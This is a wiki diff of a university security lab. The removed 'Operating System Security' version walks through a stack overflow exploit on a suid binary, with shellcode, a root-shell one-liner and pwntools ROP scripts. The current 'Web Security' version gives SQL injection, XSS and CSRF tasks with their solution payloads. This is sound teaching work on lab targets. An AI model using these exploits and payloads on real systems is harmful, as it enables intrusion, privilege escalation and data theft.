Differences

This shows you the differences between two versions of the page.

Link to this comparison view

isc:labs:07 [2023/11/20 10:12]
florin.stancu
isc:labs:07 [2024/11/20 10:17] (current)
radu.mantu
Line 1: Line 1:
 /* ~~SHOWSOLUTION~~ */ /* ~~SHOWSOLUTION~~ */
  
-====== Lab 07 - Operating System ​Security ======+====== Lab 07 - Web Security ======
  
 ===== Objectives ===== ===== Objectives =====
-  * Linux Protection Mechanisms (ASLR) 
-  * Return-oriented programming (ROPs) 
-  * Exploit mitigation 
  
-==== ASLR ====+  * Web vulnerabilities,​ both server-side and client-side 
 +  * Server-side SQL injection 
 +  * Cross-Site Scripting, Cross-Site Request Forgery
  
-Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. +===== Background =====
-In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting.+
  
-To disable ASLR: +==== SQL Injection ====
-<code bash> +
-$ echo 0 | [sudo] tee /​proc/​sys/​kernel/​randomize_va_space +
-</​code>​+
  
-To enable ASLR+SQL Injection is a server-side code injection vulnerability resulting from 
-<​code ​bash+improper (unsanitized) input directly concatenated into SQL queries. 
-$ echo 2 | [sudo] tee /​proc/​sys/​kernel/​randomize_va_space+Typical server queries are built as strings
 +<​code ​javascript>​ 
 +sql = "​SELECT * FROM table WHERE item = '"​ + user_input_variable + "'​ <other expressions>"; 
 +database.query(sql);​
 </​code>​ </​code>​
  
-==== Shellcode Injection ==== +Note that the user may choose to escape the SQL quotes and alter the SQL statemente.g.: 
- +<code javascript>​ 
-Scenario: +user_input_variable ​"'​ OR 1=1 -- "; // example input given by the user 
- +sql "​SELECT * FROM table WHERE item = '' ​OR 1=1 -- ' <other expressions>";
-You have access to a system with an executable binary ​that is owned by root, has the suid bit setand is vulnerable to buffer overflowThis section will show you step by step how to exploit it to gain shell access+
- +
-== 00. Setup == +
- +
-Install again ''​libc6-dev-i386'' + ''​gcc-multilib''​ packages: +
-<code bash> +
-$ sudo apt install libc6-dev-i386 gcc-multilib+
 </​code>​ </​code>​
  
-Also install ​the PwnDbg plugin:+An SQL injection exploit ultimately depends on the target SQL expression (which 
 +is usually unknown to the attacker) and query result behavior (whether the 
 +query contents arem displayed on screen or the user is blind, errors reported 
 +etc.).
  
-<​code>​ +**Make sure to check those cheatsheets out:** \\ 
-git clone https://​github.com/​pwndbg/pwndbg +[[https://​portswigger.net/​web-security/​sql-injection]] \\ 
-cd pwndbg +[[https://​github.com/​swisskyrepo/PayloadsAllTheThings/​tree/​master/​SQL%20Injection]] \\ 
-./setup.sh +and:\\ 
-</code>+[[https://github.com/swisskyrepo/​PayloadsAllTheThings/​blob/​master/​SQL%20Injection/​MySQL%20Injection.md]]
  
-<​hidden>​ +==== Other server-side vulnerabilities ====
-Create a user test without root privileges:​ +
-<code bash> +
-$ sudo useradd ​-m test -s /bin/bash +
-$ sudo su test +
-$ cd ~ +
-</​code>​ +
-</​hidden>​+
  
-Create ''​vuln.c''​ in the home directory for ''​student''​ user, containing the following ​code: +The SQL injection is a popular server-side ​code injection vulnerability,​ but 
-<code c> +there are many mistakes that a website developer / system administrator can 
-#include <​stdio.h>​ +make (//expect to find some of them in your homework :P //):
-#include <​string.h>​ +
-#include <​unistd.h>​ +
-#include <sys/types.h>+
  
-void func(char ​*name) +  ​code injection (LDAP, eval, shell execution etc.); 
-+  * broken authentication or access control ​(authorization); 
-    char buf[100]+  * sensitive data exposure ​(e.g.backups / keys forgotten inside web root); 
-    ​strcpy(buf, name); +  * path traversal;​ 
-    ​printf("​Welcome %s\n"buf); +  * server misconfiguration;​ 
-}+  * //​[[https://​owasp.org/​www-community/​vulnerabilities/​|and many more]]//
  
-int main(int argc, char *argv[]) +There are even 
-+[[https://​owasp.org/​www-community/​Vulnerability_Scanning_Tools|free or 
-    setreuid(geteuid(),​ geteuid());​ +commercial web vulnerability scanners]] for testing a server'​s sercurity!
-    func(argv[1]); +
-    return 0; +
-+
-</​code>​+
  
-Compile it: 
-<code bash> 
-$ gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack 
-</​code>​ 
  
- * **-fno-stack-protector** - disable the stack protection +==== Client-side vulnerabilities ====
- * **-m32** - make sure that the compiled binary is 32 bit +
- * **-z execstack** - makes the stack executable+
  
-Set the suid bit and owner to root: +Browsers are now among the most targeted pieces of software on the Internet. 
-<code bash> +This is mainly because of the large threat vector resulting from the complexity of 
-$ sudo chown root:root vuln +the web ecosystem, requiring features such as fancy HTML+CSS rendering, 
-$ sudo chmod 555 vuln +animation and even sandboxed, untrusted JavaScript ​code execution.
-$ sudo chmod u+s vuln +
-</code>+
  
-Turn off ASLR and remain as ''​student''​.+Even when the browsers do a good job at protecting against attacks, sometimes 
 +trusted websites themselved may contain bugs that directly affect the security 
 +of their users.
  
-== 01. Finding ​a vulnerability ​==+A major threat, **Cross Site Scripting (XSS)** is JavaScript code injection 
 +vulnerability ​where an attacker that found a way to post public HTML scripts 
 +into an unprotected website (e.g., by using comments forms or forum responses). 
 +Those scripts, if served to other visitors, will execute with the credentials 
 +of their respective users, making it possible for the attacker to scam, 
 +exfiltrate personal data or even push malware into the victim'​s PC.
  
-Disassemble using objdump in order to analyze ​the program+Another typical client-side vulnerability that the web developers need to 
-<code bash> +protect their websites against is 
-$ objdump ​--M intel vuln +**[[https://​research.securitum.com/​what-is-the-csrf-cross-site-request-forgery-vulnerability/​|Cross-Site 
-</code>+Request Forgery (CSRF)]]**. 
 +In this attack, the victim is tricked into opening an attacker-controlled web 
 +page which then issues custom requests (either using concealed elements that do 
 +external requests ​''​img'',​ ''​form'',​ or by using JavaScript / AJAX) to 
 +another (target) website. The browser will happily make the requests using the 
 +target domain'​s cookies and credentials. 
 +If the target website has URLs that execute certain actions (e.g., ''​POST 
 +https://​my-blog/​post.php''​) without verifying the source of the request, any 
 +malicious page can execute them. 
 +Note that the attacker cannot see the results of those requests (unless 
 +authorized by CORS headers by the target). 
 +In practice, any URL endpoint executing sensitive actions needs to be protected 
 +using either referer validation or CSRF tokens.
  
-Looking at the disassembly of ''​func'',​ it can be observed that ''​buf''​ lies at ''​ebp - 0x6c''​. Hence, 108 bytes are allocated for ''​buf''​ in the stack, the next 4 bytes would be the saved ''​ebp''​ pointer of the previous stack frame, and the next 4 bytes will be the return address.+===== Setup =====
  
-What happens if the program receives as argument ​buffer containing 116 As? +You will be using [[https://​cloud.grid.pub.ro/|OpenStack VM]] for 
-<code bash> +your tasks.
-./vuln $(python3 -c 'print (116 * "​A"​)'​) +
-</​code>​+
  
-Use ''​gdb'' ​to discover ​the address where the program is crashingWhat do you observe? Why is this happening?+Remember that the instances have private IPs, ''​10.9.x.y''​, inaccessible from 
 +anywhere but the campus networkSince we need to use a local browser to access 
 +a web server running inside the VM, we will employ a SSH tunnelling + proxy 
 +trick to accomplish ​this.
  
-== 02. Crafting Shellcode ==+You should already have a [[:​isc:​info:​virtualmachine|SSH keypair for authenticating with fep & OpenStack]]:​
  
-We will create a shellcode that spawns a shell. First create shellcode.asm with the following code: +We will be using ''​ssh''​`s Local Port Forwarding feature, requesting it to pass all packets from ''​localhost:​8080''​ through ​the SSH tunnel to the destination VM on ''​8080''​:
- +
-<code asm> +
-xor     eax, eax    ;Clearing eax register +
-push    eax         ;​Pushing NULL bytes +
-push    0x68732f2f ​ ;Pushing //sh +
-push    0x6e69622f ​ ;Pushing /bin +
-mov     ebx, esp    ;ebx now has address of /bin//sh +
-push    eax         ;​Pushing NULL byte +
-mov     edx, esp    ;edx now has address of NULL byte +
-push    ebx         ;​Pushing address of /bin//sh +
-mov     ecx, esp    ;ecx now has address of address +
-                    ;of /bin//sh byte +
-mov     al, 11      ;syscall number of execve is 11 +
-int     ​0x80 ​       ;Make the system call +
-</​code>​+
  
-Install nasm and compile shellcode using it: 
 <code bash> <code bash>
-skip the ELF headers with `-f bin` +Additional args: -L [bind_address:​]port:​host:​hostport 
-this is _exactly_ the payload that you want +man ssh, /-L to search for it ;) 
-$ nasm -f bin -o shellcode.o shellcode.S+ssh -L "​8080:​localhost:​8080" ​-J <​moodle.username>​@fep.grid.pub.ro student@10.9.X.Y
 </​code>​ </​code>​
  
-Verify with objdump that we got the right payload. +===== Tasks =====
-<code bash> +
-$ objdump -b binary -m i386 -M intel -D --disassembler-color on shellcode.o +
-</​code>​+
  
-Extracting the bytes gives us the shellcode:​ +=== 1 [30p]. SQL Injection ===
-<​code>​ +
-\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 +
-</​code>​+
  
-== 03Finding a possible place to inject shellcode ==+  * Start the web server by using the following sequence: <code bash> 
 +# First, start the MariaDB instance in background 
 +docker run -d --rm --name database ghcr.io/​cs-pub-ro/​isc-lab-web-db 
 +# Wait until the DB server fully starts: 
 +docker logs database -f  
 +# Ctrl+C and continue when it says: '​mariadbd:​ ready for connections.'​
  
-In this example ''​buf''​ seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside ​the first parameter while running ​''​vuln''​. But how do we know what address ''​buf''​ will be loaded in stack? That’where ''​gdb''​ will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address of ''​buf''​ will not change. +# Finally, start the lab'​s ​web server 
- +docker ​run -it --link database:database -p 8080:8080 ghcr.io/cs-pub-ro/isc-lab-web-app
-Run ''​vuln''​ using ''​gdb''​: +
-<​code>​ +
-vampire@linux:/home/​student$ gdb -q vuln +
-Reading symbols from vuln...(no debugging symbols found)...done. +
-(gdb) break func +
-Breakpoint 1 at 0x8048456 +
-(gdb) run $(python3 ​-c 'print ("​A"​*116)'​) +
-Starting program: /​home/​student/vuln $(python3 ​-c 'print ("​A"​*116)'​) +
- +
-Breakpoint 1, 0x08048456 in func () +
-(gdb) print $ebp +
-$1 = (void *) 0xffffce78 +
-(gdb) print $ebp 0x6c +
-$2 = (void *) 0xffffce0c+
 </​code>​ </​code>​
- +  * Connect to the application using [[http://​localhost:​8080/​]] (assuming you forwarded ​the port correctly) 
-The above commands set a breakpoint at the ''​func''​ function and the start the binary ​with a payload of length 116 as the argument. Printing the address ​''​ebp - 0x6c''​ shows that ''​buf''​ was located at ''​0xffffce0c''​. ​However this need not be the address of ''​buf''​ when we run the program outside of ''​gdb''​This is because things like environment variables and the name of the program along with arguments are also pushed on the stackAlthough the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of ''​buf''​. This difference will be around a few bytes, but we will later demonstrate how to take care of it. +  * Login with ''​test:test''​; you fail to get any flag... try to become ​''​admin''​! 
- +  * The most common approach when testing for SQL Injection is to input an apostrophe (''​%%'%%''​) ​in any of the provided fields ([[https://​security.stackexchange.com/​questions/​67972/​why-do-testers-often-use-the-single-quote-to-test-for-sql-injection]]) 
-**Note**: ​The length of the payload will have an effect on the location of ''​buf'' ​as the payload itself is also pushed on the stack (it is part of the arguments). We are using one of length 116, which will be the length of the final payload that we’ll be passing. +    * //Hint: Try the apostrophe in the first of the login fields, check if it shows an error!// 
- +  * After examining ​the error the form prompts, we can assume how the query is being made: <​code ​sql
-== 04Transfering execution flow of the program ​to the inserted shellcode == +SELECT <​columns>​ FROM <users table> WHERE <user name column> = '<​input_username>'​ AND password = '<​input_password>'​ LIMIT 1;
- +
-This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that ''​vuln''​ is vulnerable to buffer overflow and we can modify the return address for function ''​func''​. +
- +
-== 05. Crafting payload == +
- +
-Let’s insert ​the shellcode at the end of the argument string so its address ​is equal to the address of buf + some length. Here’s our shellcode: +
-<​code>​ +
-\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80+
 </​code>​ </​code>​
-Length ​of shellcode = 25 bytes+    * //Note//: You don't know the name of the table or any other column (we only know the ''​password''​ field); but do we really need to? 
 +    * //Hint//: You need to comment out the rest of the query, as to remove the second condition! Can you use [[https://​google.com|Google]] to find the MariaDB/​MySQL comment delimiters?​ 
 +    * //If you are getting logged in as ''​test'',​ it's because that's the first row in the table... filter it out, maybe (remember, which account do you need to login as)?//
  
-We also discovered that return address starts after the first 112 bytes of ''​buf''​.+<​solution -hidden>​ 
 +Login with ''​%%admin' ​-- -%%'
 +</​solution>​
  
-We’ll fill the first 40 bytes with NOP instructions,​ constructing a NOP Sled.+=== 2 [30p]Cross-Site Scripting ===
  
-**NOP Sled** is a sequence of NOP (no-operation) instructions meant to “slide” ​the CPU’s instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction,​ it slides down to the next instruction. +  ​Can you exploit ​the WISIWYG editor ​to do some JS code injection ​for all visitors? Try to display ​[[https://www.w3schools.com/js/js_popup.asp|a popup]], for starters!
- +
-The reason ​for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly. +
- +
-We will make the processor jump to the address of ''​buf''​ (taken from gdb’s output) + 20 bytes to get somewhere in the middle of the NOP sled. +
-<​code>​ +
-0xffffce0c + 20 = 0xffffce20 +
-</​code>​ +
-We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the ‘A’ character. +
- +
-Final payload structure:​ +
-<​code>​ +
-[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled0xffffce20] +
-</code> +
- +
-== 06. Running the exploit == +
- +
-<code bash> +
-$ ./vuln $(python3 -c '​import sys; sys.stdout.buffer.write(b"​\x90"​*40 + b"​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"​ + b"​A"​*47 + b"​\x20\xce\xff\xff"​)'​) +
-Welcome ����������������������������������������j +
-                            X�Rhn/shh//​bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4��� +
-# whoami +
-root +
-</​code>​ +
- +
-CongratulationsYou’ve got root access.+
  
 <note important>​ <note important>​
-In case of segmentation faulttry changing the return address ​by +- 40 a few times.+For unknown reasons''<​script>''​ tags are automatically removed ​by the [[https://​quilljs.com|Quill WISIWYG]] editor.
  
-If it still won't workthe easiest solution is to dump the stack address from the program: <code c> +To workaround that, simply change XSS injection strategy to use ''onerror''​ attribute on a invalid imagee.g.: 
-// insert this at the beginning of `func`: +''​%%<img src='/404' onerror='​alert("hello")'>%%''​
-printf("Stack addr: %04X\n", &buf)+
-</code> +
-Note that this trick may seem artificial but, in real-world exploits, if the attacker can convince the program to print its stack (e.g., from an error handler), then he can easily calculate the relevant address offsets.+
 </​note>​ </​note>​
 +<note warning>
 +DO NOT EDIT the entire ''​%%<​div class="​ql-editor"​ contenteditable="​true">​%%''​ element! The JavaScript WISIWYG editor has internal reference to this node, and if you invalidate it, the editor will become broken (and the exploit won't work!!!).
  
-== 07. What if we enable ASLR? ==+The proper way is to choose a inner ''​%%<​p>​%%''​ (just write some random text inside the editor beforehand) and edit that instead! 
 +</​note>​
  
-Try to enable ASLR and re-run ​the exploitWhat happens?+  * **//​Hints//​**:​ 
 +    * The rich text editor doesn'​t provide a visual way to inject JavaScript code... but you can use your browser'​s developer console to inspect ​and edit the ''#​editor'''​s HTML directly! 
 +  * After you successfully inject your test code, try to do the same but make it so it changes //​Simion//'​s slogan (your choice of message!) 
 +    * //Hint//: Inspect the HTML, you can use [[https://​developer.mozilla.org/​en-US/​docs/​Web/​API/​Document/​querySelector|document.querySelector()]] to match the element'​s class and modify its ''​innerHTML''​ property to do this ;) 
 +  * Unfortunately,​ **there'​s no flag for this one**, you just need to prove you modified the slogan using XSS!
  
-== 08. [Bonus] Pwntools scripts == +<​spoiler ​If you've never used JS DOM APIexpand
- +<​code ​html
-If you want have a cleaner way to exploit binaries you can use a python script with pwntools package.  +// noteyou need to concatenate ​this as a one-liner ​when injecting as 'onerror
- +var elem document.querySelector("span.classNameHere"); 
-See on this [[https://​docs.pwntools.com/​en/​stable/​install.html|link]] how to install pwntools package (be patient, the installation might take some minutes :) ). +elem.innerHTML ​= "change the element's HTML directly using this!";
- +
-Here is a sample solution you can complete to get to the same result as above. You will need to disable ASLR again. +
- +
-<spoiler For python2: > +
-<​code ​python+
-from pwn import * +
- +
-context.log_level = '​info'​ +
- +
-BIN = "./vuln"​ +
-context.binary = BIN +
- +
-size = 112 +
-offset = 0 +
-shellcode = ""​ +
-buf_start_addr = 0x0 # put your value here ex0xffffd12c +
-padding = size - len(shellcode) - offset  +
- +
-# p32 is used to pack our adress and make it just fit for use in our payload +
-# ex 0xffffd12c => \x2c\xd1\xff\xff  +
-payload = "​\x90"​ * offset + shellcode + "​A"​ * padding + p32(buf_start_addr) +
- +
-print(payload) +
- +
-#we use process to launch our target we can specify other args or set target to remote +
-io = process([BIN,​ payload]) +
- +
-#use this to avoid terminating connection (usefull ​when trying to get shell) +
-io.interactive() +
-</​code>​  +
-</​spoiler>​ +
- +
-<spoiler And for python3: > +
-<code python>​ +
-from pwn import * +
-import sys +
- +
-context.log_level = 'info+
- +
-BIN "./vuln" +
-context.binary = BIN +
- +
- +
-size = 112 +
-offset = 0 +
-shellcode = b"+
-buf_start_addr = 0x0 # put your value here ex: 0xffffd12c +
-padding = size - len(shellcode- offset ​ +
- +
-# p32 is used to pack our adress and make it just fit for use in our payload +
-# ex 0xffffd12c ​=> \x2c\xd1\xff\xff  +
-payload = b"\x90" * offset + shellcode + b"​A"​ * padding + p32(buf_start_addr) +
- +
-print(len(payload)) +
-sys.stdout.buffer.write(payload) +
- +
-#we use process to launch our target we can specify other args or set target to remote +
-# io = remote('<​ip>',​ <​port>​) +
-io = process([BIN,​ payload]) +
- +
-#use this to avoid terminating connection (usefull when trying to get shell) +
-io.interactive()+
 </​code>​ </​code>​
 </​spoiler>​ </​spoiler>​
 +.
  
-=== Summary === +  * If you ever want to reset the databasekill the MariaDB server:<​code>​ 
- +docker kill database 
-To summarize, we overflowed the buffer and modified the return address ​to point near the start of the buffer in the stack. The buffer itself started with a NOP sled followed by shellcode which got executed. The atack was successful only with ASLR turned offas the start of the stack wasn’t randomized each time the program was executed. This enabled us to first run the program in gdb to know the address of buffer. +then use the initial command ^^^ to re-initialize ​it!
- +
-==== Return-oriented programming (ROP) ==== +
- +
-== 09. Chaining functions == +
- +
- +
-We got the following vulerable code: +
- +
-<​code ​c+
-#include <​stdio.h>​ +
- +
-void surprise(int b){ +
-    if (b == 0x87654321) { +
-        puts("​SURPRISE\n"​);​ +
-        system("/​bin/​sh"​);​ +
-    } else { +
-        puts("​Surprise found, but the arg is not the right one!"​);​ +
-    } +
-+
- +
-void secret(int a){ +
-    if (a == 0x12345678) { +
- puts("​Nice! Now, can you find the surprise?​\n"​);​ +
- } else { +
- puts("​Secret accessed, but the arg is not the right one!"​);​ +
-+
-+
- +
-void run(){ +
-    char buf[32]; +
- +
-    printf("​Tell me your name: "); +
-    fflush(stdout);​ +
-    fgets(buf, 128, stdin); +
-    printf("​Hello,​ %s\n", buf); +
- +
-+
- +
-int main(){ +
-    run(); +
-    return 0; +
-+
-</​code>​ +
-And to compile ​it we use: +
-<code bash> +
-$ gcc rop.c -o vuln32 -fno-stack-protector -m32 -g -no-pie+
 </​code>​ </​code>​
  
-What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each other. The problem is that these functions require some arguments. So how can we do it, given that the stack is full of other garbage? +<solution -hidden
- +<code
-We use ROPs. In order to chain multiple function calls we need to arrange the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later).  +Inspect element pe #​editor, ​then: 
- +<script
-<note> +document.querySelector('​span.simionSays'​).innerHTML ​"​Florin Salam va cânta gratis de ziua fiecărui român!"​
-In our particular example, we suppose we accessed the secret function and we want to jump to the next one so we need to eliminate the argument of the secret function from the top of the stack. ​ +</script>
-</note+
- +
-In other words we need to pop the arg and then jump to the next function. We can search for a "pop <?​any>;​ ret" set of instructions. This is called a ROP gadget (install the package on VM using this [[https://​github.com/​JonathanSalwan/​ROPgadget#​install|link]] - **note**: skip python3-pip installation as it is already installed). We can find what is available in our program running: +
- +
-<code bash+
-$ ROPgadget --binary vuln32 +
-Gadgets information +
-============================================================ +
-0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax +
-0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx +
-0x0804926c : adc byte ptr [eax - 0x3603a275],​ dl ; ret +
-... +
-0x0804926f : pop ebp ; cld ; leave ; ret +
-0x080493c3 : pop ebp ; ret                                     <===    //we look for sets like this +
-0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ret +
-0x08049022 : pop ebx ; ret                                     <===    ​//or like this +
-0x080493c2 : pop edi ; pop ebp ; ret +
-0x080493c1 : pop esi ; pop edi ; pop ebp ; ret  +
-... +
-...+
 </​code>​ </​code>​
 +</​solution>​
  
-This (code pointer to) rop gadget needs to be placed in the return address of the previous function (because it is executable) so that it cleans or place the arguments and finally jump to the next pieceIn this way we can consider our payload as a chain containing:+=== 3 [20p]Cross-Site Request Forgery ===
  
-<code> +  * The objective is to fool your victim using an external website (create a local .html page to simulate this) to do attacker-controlled actions like deleting all posts from the guestbook. 
-<padding until first return addr<chain<chain...+  * On your local station, as the attacker: create a ''​free-bitcoin.html''​ file that issues //delete// requests to the ''​localhost:​8080/​journal''​ application;​ check the HTML source ​code for the actual URLs! 
 +    * **Note**: You must remain logged in as ''​admin''​! Altough you only see delete links on own posts, as admin, you can actually delete every other one by issuing a direct request (you can also see it in the source code retrieved from the next task)! 
 +    * //Hint//: just observe the HTML: post IDs start from 1 and increment by 1! Use this info to build the delete URLs! 
 +    * //Hint//: AJAX / ''​fetch''​ API does preflight (''​OPTION''​) requests, it **won'​t work** for our purposes! 
 +    * //Hint//: fortunately,​ issuing GET requests is as simple as inserting an ''​<img>''​ HTML tag (''​<iframe>''​s are also a good choice)! 
 +    * //You may simply add 10 HTML elements automatically issuing requests manually, or you can do this more elegantly (via JavaScript).//​ 
 +  * Some modern browsers block ''​%%file://​%%''​ protocols from accessing online domains; as workaround, you can use Python host the page on another localhost port, e.g.:<code> 
 +mkdir /​tmp/​malicious-website && cd /​tmp/​malicious-website 
 +vim free-bitcoin.html  # <- put your HTML here 
 +python3 -m http.server 9090 
 +# you can then access the malicious page at http://​localhost:​9090/​free-bitcoin.html ! 
 +# note: if you're running this inside WSL2, first replace localhost with the IP address of the VM: 
 +ip addr show
 </​code>​ </​code>​
-And a chain piece would look like:+  * If on Firefox, try to disable Enhanced Tracking Protection on the malicious HTML (from the security icon on the left of the address), especially when you're coming from an external WSL IP address. 
 +  * Switch sides (you'​re the victim, now)open your malicious HTML page using the same web browser. 
 +    * //Note//: again, **make sure** you are logged in as ''​admin''​ inside the web app before doing the attack! 
 +  * In order to see the flag, you must delete all posts (from your malicious page OFC)!
  
 +<​solution -hidden>
 <​code>​ <​code>​
-<address_of_function<ROP gadget<arg> + <arg...+<html> 
 +<body> 
 +  ​<script> 
 +  for (var i=1; i<=10; i++) { 
 +    document.write("​<img src=\"​http://​localhost:​8080/​journal/​delete?​id="​ + i + "​\">"​);​ 
 +  } 
 +  </​script>​ 
 +</​body>​ 
 +</html>
 </​code>​ </​code>​
-<​note>​ +</solution>
-Again, the goal of ROP should be clean the stack and the '​ret'​ should drop on the adress of the next chain piece or next code pointer that we want to access. This is called a ROP chain. +
-</note>+
  
-<spoiler Here is a pwn script to help you with this! (use python3) > +=== 4 [20p]. Server Reconnaissance ===
-<code python>​ +
-from pwn import * +
-import sys+
  
-context.log_level = '​info'​ +  * Can you steal the source code of the server-side code using HTTP only? 
- +  * Once you found it, try to find the hidden source code flag! 
-BIN_name = "​./​vuln32"​ +  ​* Hinttry to guess the path to [[https://docs.npmjs.com/​files/​package.json|well-known file]] that all NodeJS projects have! It may reference the main script'​s name! 
-context.binary = BIN_name +  * You can try using tool: [[https://​cirt.net/​nikto2|nikto]],​ ''​apt install nikto''​
- +
-#you can use this to extract addresses ​of the functions +
-e = ELF(BIN_name) +
-secret_addr = e.symbols['​secret'​] +
-surprise_addr = e.symbols['​surprise'​] +
- +
-print('​secret:​ 0x{:​08x}'​.format(secret_addr)) +
-print('​surprise:​ 0x{:​08x}'​.format(surprise_addr)) +
- +
-offset = 44  # sizeof(buf) + sizeof(ebp) == 32 + ?*8 + 4  offset is on the house today :) +
-pop_ret_gadget = 0x0  pop ebx ; ret # gadget  +
-arg1 = 0x0 +
-arg2 = 0x0 +
- +
-#ex piece of chain    p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1) +
- +
-payload = b"​A"​ * offset + p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1) + ... +
- +
-print(len(payload)) +
-print(payload) +
-sys.stdout.buffer.write(payload) +
- +
-io = process(BIN_name) +
- +
-# gdb.attach(io) +
- +
-io.sendline(payload) +
- +
-= io.recvline() +
-# print(a) +
- +
-io.interactive()+
  
 +<​solution -hidden>
 +<​code>​
 +GET /​package.json
 +it references the main file:
 +GET /server.js
 </​code>​ </​code>​
-</spoiler>+</solution>
  
-== 10. [Bonussame as above but for 64 bit binary ​==+=== 5 [20p, BONUS]. Advanced SQL Injection ===
  
-Recompile rop.c prog+  * Start the web server from the first task again. 
-<​code ​bash+  * What if I told you there is a hidden **flag** inside the database? Find it! 
-$ gcc rop.-o vuln64 -fno-stack-protector ​-no-pie +  * Hintwhere do you have query feedback inside the application?​ try to do an ''​UNION''​ hack! 
-</​code>​ +  * Note: Since we will be using the same query as the one used in the first exercise, we must first find the exact number of columns provided to the statement. We are aiming at building a query of this format: ​<​code ​sql
-<spoiler And here is the script ​to help you: > +SELECT col1, col2, ..., colN from users WHERE username =''​ UNION SELECT col1, col2, ... , colN-1, desired_column from desired_database_table ​--;</​code>​ 
-<​code ​python+  * Note: for UNION to work, you must SELECT exactly the same number of columns as in the original query! 
-from pwn import ​+  * After finding out the exact number of columns, we can use ''​GROUP_CONCAT''​ technique to extract the available database table names.\\ Check out the cheatsheets from the Background section! (P.S. database schema is ''​journalapp''​) 
-import sys+  * Hint: <code>​UNION SELECT col1, col2, ... , colN-1, GROUP_CONCAT(<​what are we looking for in the schema>) FROM information_schema.tables WHERE table_schema='<​our schema name>'​ </​code>​ \\ It is not necessary to know the exact names of '​col1',​ '​col2',​ ... '​colN-1'​. You can replace it with numbers or '​@'​. 
 +  * Got any table that catches your eye? We are going to use ''​GROUP_CONCAT''​ again, but this time we are trying to find the name of the columns of our desired table. 
 +  * Hint<code>UNION SELECT col1, col2, ... , colN-1, GROUP_CONCAT(<what are we looking for in the table>) FROM information_schema.columns WHERE table_name='<​our table name>'​ </code> 
 +  Got the column name? Good. Now it should be nothing more than a simple select query :) 
 +  * Hint: <​code>​UNION SELECT col1, col2, ... , colN-1, <desired column name> FROM <desired table name></​code>​
  
-context.log_level ​= 'info'+<​solution -hidden>​ 
 +Find the number of main table columns: ''​%%asd'​ UNION (SELECT 1, 2, 3, 4) -- .%%''​\\ 
 +Find the tables: ''​%%'​ UNION SELECT 1, 2, 3, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='journalapp'​ -- .%%''​\\ 
 +Find the columns: ''​%%'​ UNION SELECT 1, 2, 3, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='​flagz0rx'​ -- .%%''​\\ 
 +Find the flag: ''​%%'​ UNION SELECT 1, 2, 3, flag_val0r3 FROM flagz0rx -- .%%''\\ 
 +</​solution>​
  
-BIN_name ​"​./​vuln64"​ +=== Feedback ===
-context.binary ​BIN_name +
- +
-ELF(BIN_name) +
- +
-secret_addr = e.symbols['​secret'​] +
-surprise_addr = e.symbols['​surprise'​] +
- +
-print('​secret:​ 0x{:​08x}'​.format(secret_addr)) +
-print('​surprise:​ 0x{:​08x}'​.format(surprise_addr)) +
- +
-offset = 40 # sizeof(buf) + sizeof(ebp) == 32 + 8  +
- +
-pop_rdi_ret_gadget = 0x0 #: pop rdi ; ret # posibil sa trebuiasca o adresa noua pt gadget  +
-arg1 = 0 +
-arg2 = 0 +
- +
-# here he have another chain piece structure +
- +
-payload = b"​A"​ * offset + p64(pop_rdi_ret_gadget) + p64(arg1) + p64(secret_addr) # + ... +
- +
-print(len(payload)) +
-print(payload) +
-sys.stdout.buffer.write(payload) +
- +
-# io = remote('<​ip>',​ <​port>​) +
-io = process(BIN_name) +
- +
-# gdb.attach(io) +
- +
-io.sendline(payload) +
- +
-# a = io.recvline() +
-# print(a) +
- +
-io.interactive() +
- +
- +
-</​code>​ +
-</​spoiler>​ +
- +
-==== 11. [10p] Feedback ​====+
  
 Please take a minute to fill in the [[https://​forms.gle/​5Lu1mFa63zptk2ox9|feedback form]] for this lab. Please take a minute to fill in the [[https://​forms.gle/​5Lu1mFa63zptk2ox9|feedback form]] for this lab.
- 
  
  
isc/labs/07.1700467927.txt.gz · Last modified: 2023/11/20 10:12 by florin.stancu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0